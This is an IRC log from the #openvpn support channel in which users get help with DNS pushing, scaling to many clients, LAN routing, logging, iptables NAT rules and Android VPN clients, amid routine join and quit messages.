06:29 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
06:29 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
06:29 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
06:29 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:29 <@EugeneKay> That makes me suspect it even more
06:30 -!- digilink [~digilink@unaffiliated/digilink] has quit [Read error: Operation timed out]
06:34 -!- GabrieleV_ is now known as GabrieleV
06:37 -!- digilink [~digilink@70.90.228.197] has joined #openvpn
06:38 -!- digilink [~digilink@70.90.228.197] has quit [Changing host]
06:38 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
06:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:39 -!- xbanux [~xbanux@triband-mum-59.182.190.218.mtnl.net.in] has joined #openvpn
06:47 < BadCodSmell> https://community.openvpn.net/openvpn/wiki/RoadMap I guess this
06:47 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net)
07:02 -!- jtrucks_ is now known as jtrucks
07:03 -!- xbanux [~xbanux@triband-mum-59.182.190.218.mtnl.net.in] has quit [Ping timeout: 246 seconds]
07:05 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
07:05 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
07:05 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
07:05 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
07:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
07:34 -!- xbanux [~xbanux@triband-mum-59.182.190.218.mtnl.net.in] has joined #openvpn
07:37 -!- newbie|4 [~tjz@bb119-74-170-227.singnet.com.sg] has joined #openvpn
07:40 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 246 seconds]
07:43 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
07:43 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Read error: Connection reset by peer]
07:44 -!- tcamuso [tcamuso@nat/redhat/x-mdypfcukjargtuml] has joined #openvpn
07:49 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
08:09 -!- xbanux [~xbanux@triband-mum-59.182.190.218.mtnl.net.in] has quit [Ping timeout: 276 seconds]
08:24 -!- xbanux [~xbanux@triband-mum-59.182.156.105.mtnl.net.in] has joined #openvpn
08:29 -!- xbanux [~xbanux@triband-mum-59.182.156.105.mtnl.net.in] has quit [Ping timeout: 240 seconds]
08:29 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:39 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
08:46 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:52 < TheWarden> Hi, I have OpenVPN server and client working now. However I noticed that once a client is authenticated they are not able to use hostnames for connecting within the authenticated network. How can I fix this? Do I need to use something like update-resolv.conf script?
08:52 < TheWarden> mm maybe not, the client is on Windows
08:54 <@EugeneKay> !dns
08:54 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
08:54 <@EugeneKay> !pushdns
08:55 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
08:55 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
08:55 <@EugeneKay> TheWarden ^
08:58 < TheWarden> thanks
08:59 -!- samael [~earendil@multivac.valis-e.com] has joined #openvpn
08:59 -!- xbanux [~xbanux@triband-mum-59.182.156.105.mtnl.net.in] has joined #openvpn
09:00 < samael> hello
09:01 < TheWarden> Hi
09:02 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit []
09:02 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
09:02 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
09:02 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
09:02 < samael> i have several vpns with few dozens clients each. now i've to setup an openvpn server for a large number of clients (say thousands - no exact estimation possible). what should i take care of in that situation?
09:03 -!- xbanux [~xbanux@triband-mum-59.182.156.105.mtnl.net.in] has quit [Remote host closed the connection]
09:03 -!- xbanux [~xbanux@triband-mum-59.182.182.158.mtnl.net.in] has joined #openvpn
09:04 < samael> some details: routed mode, no client-to-client but selective firewall rules to manage traffic
09:05 <@EugeneKay> You'll want to use multiple instances of `openvpn`, with some sort of load-balancing(DNS round-robin works pretty well)
09:06 <@EugeneKay> The general rule is no more than 100 clients per process. Past that you bump into context switching issues with the cpu
09:06 <@EugeneKay> A dual quad- or hex- core box should be able to handle it.
09:08 < samael> i'm using linode VPSes for that sake
09:08 < samael> don't think will have machine performance problems
09:09 <@EugeneKay> Probably not, but they will balk at handing you a pile of IPs.
09:11 <@EugeneKay> LVS and haproxy are out for balancing - the first isn't compiled-in to Linode kernels, and the second doesn't speak UDP
09:12 <@EugeneKay> If you can deal with the config file bloat you could spread it out over a coupla ports, but doing hostname- or ip- based balancing gives you more flexibility down the road.
09:12 <@EugeneKay> (namely, being able to move clients between servers by changing an A record, rather than by fiddling with their configs)
09:14 < samael> i'm not worried about config file management. of course dns level balancing would be preferable
09:15 < MacGyver> Round-robin DNS with several IP's, each process bound to a different IP, when a process reaches the limit it rejects the connection forcing the client to resolve again?
09:15 < samael> any recomended doc to RTFM on that? i'm googling around
09:15 < MacGyver> Could that work?
09:15 <@EugeneKay> Yes, except Linode is stingy with IPs.
09:17 < samael> i'm not bound to linode in any way. only happy with them for what i needed 'til now, but open to other providers too
09:17 < samael> in fact I was using slicehost/rackspace since longtime
09:17 <@EugeneKay> They're the best value / performers IMO
09:17 <@EugeneKay> And you get gobs of bandwidth now
09:18 < samael> who? linode or rackspace?
09:24 < samael> on the linode webpanel I see I can buy one IP for 1$/month, no idea about max IPs limit, though.
09:24 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:26 < samael> but this approach seems to be the better to have a scalable architecture, given I'll be adding hundreds of clients at times, presumably every N months.
09:27 <@EugeneKay> Linode.
09:27 <@EugeneKay> And you can, but you need to provide justification.
09:29 -!- xbanux [~xbanux@triband-mum-59.182.182.158.mtnl.net.in] has quit []
09:31 <@EugeneKay> My dog says hi
09:32 <@plaisthos> MacGyver: round robin dns may not work
09:33 <@plaisthos> openvpn will only use the first address of a round robin dns record
09:33 <@plaisthos> (the first it gets from the OS which can still be random)
09:34 <@plaisthos> the mobile clients will behave different :)
09:35 -!- oibangla_ [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has joined #openvpn
09:36 < oibangla_> can someone help me configure openVPN with syslog
09:36 < oibangla_> i need to send, error messages to my manager
09:36 < MacGyver> plaisthos: And then, when the connection is rejected, what happens?
09:36 <@EugeneKay> It'll advance to the next <connection> block
09:36 < MacGyver> plaisthos: Does it resolve again, does it fallthrough to the next address...?
09:36 < MacGyver> Ah.
09:38 < oibangla_> openVPN syslog error help anyone?
09:39 -!- sanfran [~sanfran@50-78-27-173-static.hfc.comcastbusiness.net] has joined #openvpn
09:41 < sanfran> I'm at a hostel. I can connect to my VPN but have no internet.
09:43 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 248 seconds]
09:44 < sanfran> I tried port 80 tcp, but it's the same. It connects, but I don't get internet.
09:44 <@EugeneKay> !redirect
09:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:44 <@vpnHelper> http://ircpimps.org/redirect.png
09:44 < oibangla_> sanfran: how can u connect to vpn without internet
09:44 -!- caraconan [~usuario@77.208.11.221] has joined #openvpn
09:45 < sanfran> oibangla_: :) i set it up, you knocked it down.
09:45 < oibangla_> sanfran: lol so u were being sarcastic?
09:45 < caraconan> Hi all. I need help to achieve this: "Next, you must set up a route on the server-side LAN gateway to route the VPN client subnet (10.8.0.0/24) to the OpenVPN server (this is only necessary if the OpenVPN server and the LAN gateway are different machines)."
09:46 < caraconan> I'm able to connect from a client to the server (TUN routed setup)
09:46 < sanfran> oibangla_: no, i'm just not using the right jargon. perhaps: "i connect, and then i can't get data"? throw me a bone here. words are tools.
09:46 < caraconan> I would like to connect to the rest of server side private LAN machines, but I'm lost
09:46 <@EugeneKay> !route
09:46 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
09:47 <@vpnHelper> behind the server or client
09:47 <@EugeneKay> !serverlan
09:47 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
09:47 <@EugeneKay> Read ^
09:47 < oibangla_> sanfran: your just not able to recieve any data, but you can connect
09:47 < oibangla_> sanfran: are you able to upload?
09:47 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
09:48 < caraconan> <EugeneKay> Thanks
09:52 -!- sanfran [~sanfran@50-78-27-173-static.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
09:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:59 < oibangla_> can someone please help me collect the failed connections on openVPN and send the error reports to another server or address
09:59 < oibangla_> I would hope something like that would be simple for you guys
10:02 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
10:04 < rob0> where was your pastebin again?
10:04 < rob0> or better yet, a problem description?
10:04 < rob0> it's not magic, we can't magically see what's going on unless you show us.
10:05 < rob0> um ... you want to know how to parse your logs?
10:05 < rob0> !notovpn
10:05 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
10:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:06 < rob0> Choose a tool to do that. grep(1) is simplest, but you can get fancy with awk/perl/python/ruby, whatever.
10:06 < oibangla_> robo: yeah, I guess I just need to make sure that if a connection fails, that my logs are being generated properly and sent to the right place. Someone also mentioned a "hook" feature that runs a script when such an error happens
10:07 < oibangla_> rob0: so with grep, I would extract the log from where exactly? and can I configure openVPN to transfer its error logs to anoter log file that I generate instead of syslog?
10:08 < rob0> sure, look in the man page about "SCRIPTING AND ENVIRONMENTAL VARIABLES" if you want to run a script
10:08 < rob0> !logs
10:08 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:09 < rob0> !logfile
10:09 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
10:11 < oibangla_> thanks for all your help
10:11 < oibangla_> im gonna try this out and if i have any further questions, let u all know
10:13 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:16 -!- caraconan [~usuario@77.208.11.221] has quit [Ping timeout: 240 seconds]
10:20 -!- raidz_away is now known as raidz
10:34 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
10:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
10:47 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
10:58 -!- _oibangla_ [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has joined #openvpn
10:58 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
11:00 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
11:00 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
11:00 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
11:00 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
11:00 -!- dioz_ is now known as dioz
11:01 -!- oibangla_ [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has quit [Ping timeout: 256 seconds]
11:03 -!- MeanderingCode [~Meanderin@71-213-183-157.albq.qwest.net] has quit [Read error: Connection reset by peer]
11:05 -!- MeanderingCode [~Meanderin@199.254.238.180] has joined #openvpn
11:09 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
11:10 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
11:12 < barhom> http://i.imgur.com/WvK24Xt.png < Does any of you think this can be done with OpenVPN? It involves multicasting over a TAP interface (its a network diagram that I drew)
11:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:14 < rob0> For multicast you'd probably have to use tap.
11:14 < barhom> Yes, thats a given.
11:14 -!- brute11k [~brute@89.249.231.153] has quit [Ping timeout: 256 seconds]
11:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
11:19 -!- brute11k [~brute@89.249.231.153] has joined #openvpn
11:23 <@EugeneKay> Can? Yes. Should? No.
11:26 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:28 -!- hrenovo [~hrenovo@38.122.9.246] has joined #openvpn
11:29 < hrenovo> hi. Win7 client connected. But I can't ping the server
11:29 < hrenovo> I didn't change anything
11:29 < hrenovo> when I type ipconfig in cmd the openvpn interface is not shown
11:29 < hrenovo> though the gui client shows i'm connected
11:29 < hrenovo> and assigned ip
11:30 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Client Quit]
11:30 -!- u0m3 [~Radu@92.80.75.204] has joined #openvpn
11:32 -!- hrenovo [~hrenovo@38.122.9.246] has quit [Quit: I quit]
11:33 -!- JSharpe [~JSharpe@5.69.13.182] has quit [Quit: Leaving]
11:33 -!- JSharpe_ [~JSharpe@46.165.210.17] has joined #openvpn
11:33 < rob0> ask a question, /quit three minutes later
11:37 <@EugeneKay> Yup.
11:40 < rob0> What I really hate is when I'm typing an answer to those, and the /quit comes just before I hit enter.
11:50 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
11:58 -!- oibangla_ [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has joined #openvpn
11:59 -!- _oibangla_ [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has quit [Read error: Connection reset by peer]
11:59 < samael> I have a working routed vpn with mixed clients (win/linux/android). they use their "normal" internet connection to let the vpn work and reach other clients. the latters are currently accessed using hostnames statically put in the hosts(5) file of *every* client system.
12:00 < samael> is there a way to avoid that static, manual, binding in every client? I cannot push the dns because I don't really want the entire internet traffic to flow into the vpn (and I'm not allowed to do such thing on many client machines)
12:00 < rob0> dnsmasq might be a better idea, http://rob0.nodns4.us/dnsmasq.html
12:00 <@vpnHelper> Title: DNS in OpenVPN: a better approach (at rob0.nodns4.us)
12:01 < rob0> oh, Windows
12:01 < samael> yep, windows too, sadly.
12:06 < samael> rob0: IIUC, your solution is to run a local dns on every client? unfortunately I cannot impose that on many clients. their belongs to other businesses and I'm just bothering them enough by asking to add entries in hosts(5)
12:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
12:16 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 248 seconds]
12:19 -!- ecornips [~G@5e085976.bb.sky.com] has joined #openvpn
12:19 < ecornips> Hi, are openvpn plugins just for server side, or is it possible to write a client-side plugin?
12:20 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:22 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has joined #openvpn
12:23 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
12:25 -!- u0m3 [~Radu@92.80.75.204] has quit [Read error: Connection reset by peer]
12:26 -!- xbanux [~xbanux@triband-mum-59.182.182.158.mtnl.net.in] has joined #openvpn
12:28 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
12:28 -!- u0m3 [~Radu@92.80.88.250] has joined #openvpn
12:32 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:36 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
12:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
12:38 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
12:38 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
12:40 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 245 seconds]
12:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:49 -!- MeanderingCode_ [~Meanderin@71-213-183-157.albq.qwest.net] has joined #openvpn
12:50 -!- MeanderingCode [~Meanderin@199.254.238.180] has quit [Ping timeout: 240 seconds]
12:54 -!- p3rror [~p3rror@196.201.78.139] has joined #openvpn
12:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:57 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
12:57 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
12:57 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
12:57 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
12:59 -!- kfreds [~kfreds@slask.mullvad.net] has quit [Quit: Reconnecting]
12:59 -!- kfreds [~kfreds@slask.mullvad.net] has joined #openvpn
13:00 -!- p3rror [~p3rror@196.201.78.139] has quit [Ping timeout: 272 seconds]
13:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 257 seconds]
13:03 -!- ecornips [~G@5e085976.bb.sky.com] has quit [Quit: ecornips]
13:08 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has joined #openvpn
13:13 -!- james713 [~james713@85.17.103.6] has joined #openvpn
13:13 < james713> hello. can anyone help me out with getting NAT properly enabled on my VPN subnet? I'm able to connect to the vpn just fine and make dns requests, but nothing beyond that.
13:16 -!- kfreds [~kfreds@slask.mullvad.net] has quit [Quit: Reconnecting]
13:16 -!- kfreds [~kfreds@slask.mullvad.net] has joined #openvpn
13:16 <@EugeneKay> !redirect
13:16 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:16 <@vpnHelper> http://ircpimps.org/redirect.png
13:16 <@EugeneKay> ^ chart
13:16 < james713> yep
13:16 < james713> that's how I know I need to get NAT properly setup on the vpn subnet
13:16 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
13:16 <@EugeneKay> !nat
13:16 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:17 <@EugeneKay> ;-)
13:17 < james713> hehe
13:17 -!- laner [~Lane@cpe-74-68-106-169.nyc.res.rr.com] has joined #openvpn
13:17 -!- novaflash is now known as novaflash_away
13:17 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
13:21 < james713> grrr I have no idea what I'm doing messing around with iptables. the last time I tried following this wiki I ended up taking my server offline and had to manually remove iptables with rescued
13:21  * james713 weaps
13:21 <@EugeneKay> !linnat
13:22 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
13:22 -!- oibangla_ [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has quit [Quit: Leaving]
13:24 < james713> oaky :c
13:26 -!- laner [~Lane@cpe-74-68-106-169.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:30 -!- novaflash_away is now known as novaflash
13:32 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has joined #openvpn
13:33 -!- laner [~Lane@cpe-74-68-106-169.nyc.res.rr.com] has joined #openvpn
13:35 -!- laner [~Lane@cpe-74-68-106-169.nyc.res.rr.com] has quit [Client Quit]
13:39 -!- laner [~Lane@cpe-74-68-106-169.nyc.res.rr.com] has joined #openvpn
13:41 -!- laner [~Lane@cpe-74-68-106-169.nyc.res.rr.com] has quit [Client Quit]
13:43 -!- xbanux [~xbanux@triband-mum-59.182.182.158.mtnl.net.in] has quit [Ping timeout: 245 seconds]
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
13:54 -!- mirco [~mirco@p5080219C.dip.t-dialin.net] has joined #openvpn
13:57 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 240 seconds]
13:57 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
13:57 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has joined #openvpn
13:59 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:00 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
14:01  * james713 gives up
14:02 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
14:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:03 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
14:04 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 240 seconds]
14:10 < james713> EugeneKay, the wiki links suck :|
14:10 -!- james713 [~james713@85.17.103.6] has left #openvpn ["Leaving"]
14:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
14:15 -!- mirco [~mirco@p5080219C.dip.t-dialin.net] has quit [Quit: mirco]
14:24 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
14:24 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has joined #openvpn
14:47 -!- sauce_ is now known as sauce
14:47 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
14:47 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
15:00 -!- TMcTrain [~kvirc@pD9FD4534.dip.t-dialin.net] has joined #openvpn
15:01 -!- brute11k [~brute@89.249.231.153] has quit [Read error: Connection reset by peer]
15:02 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Remote host closed the connection]
15:02 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
15:03 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
15:04 -!- brute11k [~brute@89.249.231.153] has joined #openvpn
15:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:04 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Client Quit]
15:08 -!- MorkBork [~mark@unaffiliated/morkbork] has joined #openvpn
15:08 < MorkBork> openvpn connect or openvpn for android
15:08 < MorkBork> whats the winner these days
15:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:18 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
15:19 -!- bjh4 [~bjh4@12.239.198.1] has quit [Remote host closed the connection]
15:21 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
15:21 <@EugeneKay> Connect is the AS client
15:22 <@EugeneKay> !android
15:22 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the
15:22 <@vpnHelper> market
15:22 <@EugeneKay> !forget openvpn 2
15:22 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
15:22 <@EugeneKay> Derp, wrong one anyway
15:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:23 <@EugeneKay> Somebody who can do it, android #2 needs to be removed(hasn't been ported to newer versions of Cm)
15:24 <@EugeneKay> And #3 rewritten
15:24 <@EugeneKay> Preferably with a Play link
15:26 < MorkBork> https://play.google.com/store/apps/details?id=net.openvpn.openvpn
15:26 <@vpnHelper> Title: OpenVPN Connect - Android Apps on Google Play (at play.google.com)
15:26 < MorkBork> so that only works with access server?
15:26 <@EugeneKay> Read the first line in the Description ;-)
15:26 < MorkBork> yea its rather ambiguous to me
15:26 < MorkBork> OpenVPN Connect is the official full-featured Android VPN client for the OpenVPN Access Server, Private Tunnel and OpenVPN Community
15:27 <@EugeneKay> I think it /can/ work with the GPL client, but AFAIK it's not open source.
15:27 < MorkBork> ah okay
15:27 < MorkBork> ill just use openvpn for andorid then
15:27 < MorkBork> android*
15:27 <@EugeneKay> Er, GPL server(or client.... but it'd be silly to run a server on a phone)
15:31 <@plaisthos> !forget openvpn 2
15:31 <@vpnHelper> Error: There is no such factoid.
15:31 <@EugeneKay> android 2
15:31 <@plaisthos> !forget android 2
15:31 <@vpnHelper> Joo got it.
15:32 <@EugeneKay> <3
15:32 -!- TMcTrain [~kvirc@pD9FD4534.dip.t-dialin.net] has quit [Quit: KVIrc 4.0.2 Insomnia http://www.kvirc.net/]
15:32 <@plaisthos> EugeneKay: yeah. I just not just have blindly copy and pasted it :)
15:32 -!- TMcTrain [~kvirc@pD9FD4534.dip.t-dialin.net] has joined #openvpn
15:32 <@plaisthos> MorkBork: both should work
15:32 <@plaisthos> OpenVPN connect may not support more exotic configurations
15:34 -!- brute11k [~brute@89.249.231.153] has quit [Quit: Leaving.]
15:35 < MorkBork> ahh
15:35 < MorkBork> im going for exotic :P
15:36 -!- tcamuso [tcamuso@nat/redhat/x-mdypfcukjargtuml] has quit [Ping timeout: 256 seconds]
15:36 < MorkBork> ive been testing the strongswan android client with good success
15:36 < MorkBork> for ikev2 ipsec vpn
15:36 < MorkBork> now i want to test some scenarios with an openvpn client on android
15:37 < MorkBork> although its a bit generous to call ipv6 exotic i guess
15:39 <@EugeneKay> Burn the heretic!
15:41 < MorkBork> pros and cons of both
15:41 < MorkBork> sometimes one or the other is blocked, haha
